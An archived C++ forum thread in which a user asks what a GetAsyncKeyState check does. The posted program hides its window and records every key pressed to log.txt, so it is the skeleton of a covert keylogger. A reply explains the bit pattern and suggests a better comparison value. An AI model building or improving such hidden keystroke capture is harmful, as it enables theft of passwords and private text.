pls someone should explain this code for me....

someone should explain the if (GetAsyncKeyState(i) == -32767) line for me, thanks n advance


int main(){

//Counter
int i;

//Init
hide();

//Loop
while (true){

Sleep(10);

for (i = 8; i < 255; i++){

if (GetAsyncKeyState(i) == -32767){// having problem understanding this line
printf("%d", i);
log(i, "log.txt");
}
}
}

return 0;
}

GetAsyncKeyState(i) returns a value.
That value is checked to see if it is equal to -32767.
The bit pattern of -32767 as a 2-byte SHORT is 0x8001, i.e., the most significant and least significant bits are set. You have, of course, read the documentation for the function, so you know what that means. Perhaps you even see the problem as mentioned in the "remarks" section, which suggests to me that it would be better to use the value -32768 (only the most significant bit set).
closed account (E0p9LyTq)
http://www.cplusplus.com/forum/general/141404/
Topic archived. No new replies allowed.